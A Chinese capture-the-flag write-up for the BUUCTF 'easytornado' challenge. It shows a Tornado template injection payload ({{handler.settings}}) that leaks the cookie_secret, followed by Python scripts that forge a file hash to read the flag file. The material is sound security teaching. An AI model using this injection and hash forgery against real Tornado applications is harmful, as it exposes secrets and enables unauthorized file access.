BUUCTF题writeup《easytornado》

tornado render模板注入
访问网址

flag.txt

welcome.txt

hints.txt

根据上面的信息,我们知道flag在/fllllllllllllag文件中

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页render配合Tornado使用

最后就是这段代码md5(cookie_secret+md5(filename)),再来分析我们访问的连接

http://4dd65e36-edbf-4402-b6a3-75993b8c618d.node3.buuoj.cn/file?filename=/flag.txt&filehash=284090432706edeffa4679e60f0fff03

猜测md5加密过后的值就是url中filehash对应的值,想获得flag只要我们在filename中传入/fllllllllllllag文件和filehash，所以关键是获取cookie_secret

在tornado模板中,存在一些可以访问的快速对象,比如{{escape(handler.settings["cookie"])}},这个其实就是handler.settings对象,里面存储一些环境变量,具体分析请参考《python SSTI tornado render模板注入》

观察错误页面,发现页面返回的由msg的值决定

修改该msg的值注入{{handler.settings}},获得环境变量

得到cookie_secret的值,根据上面的md5进行算法重构,就可以得到filehash,这里给出py3的转换脚本

import hashlib
hash = hashlib.md5()				#构造函数获得一个md5对象

filename='/fllllllllllllag'				
cookie_secret="ad53693f-47f6-4c89-b072-0673e0fbbc17"	
hash.update(filename.encode('utf-8'))	 #python3  #使用md5对象的update方法转换utf-8
s1=hash.hexdigest()				#获取16进制str类型的消息摘要
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())


Python的hashlib提供了常见的摘要算法,如MD5、SHA1等
#摘要算法就是通过摘要函数f()对任意长度的数据data计算出固定长度的摘要digest,目的是为了发现原始数据是否被人篡改
#摘要算法之所以能指出数据是否被篡改过,就是因为摘要函数是一个单向函数,计算f(data)容易,但通过digest反推data却非常困难。而且,对原始数据做一个bit的修改,都会导致计算出的摘要完全不同

import hashlib

filename='/fllllllllllllag'				
cookie_secret="ad53693f-47f6-4c89-b072-0673e0fbbc17"	

def Payload(string):
    md5 = hashlib.md5()
    md5.update(string.encode('utf-8'))
    return md5.hexdigest()

def merge():
    print(Payload(cookie_secret + Payload(filename)))
    
merge()

得到filehash=ceba5d7a8acd8c4fb77cfb58c9534971，获取flag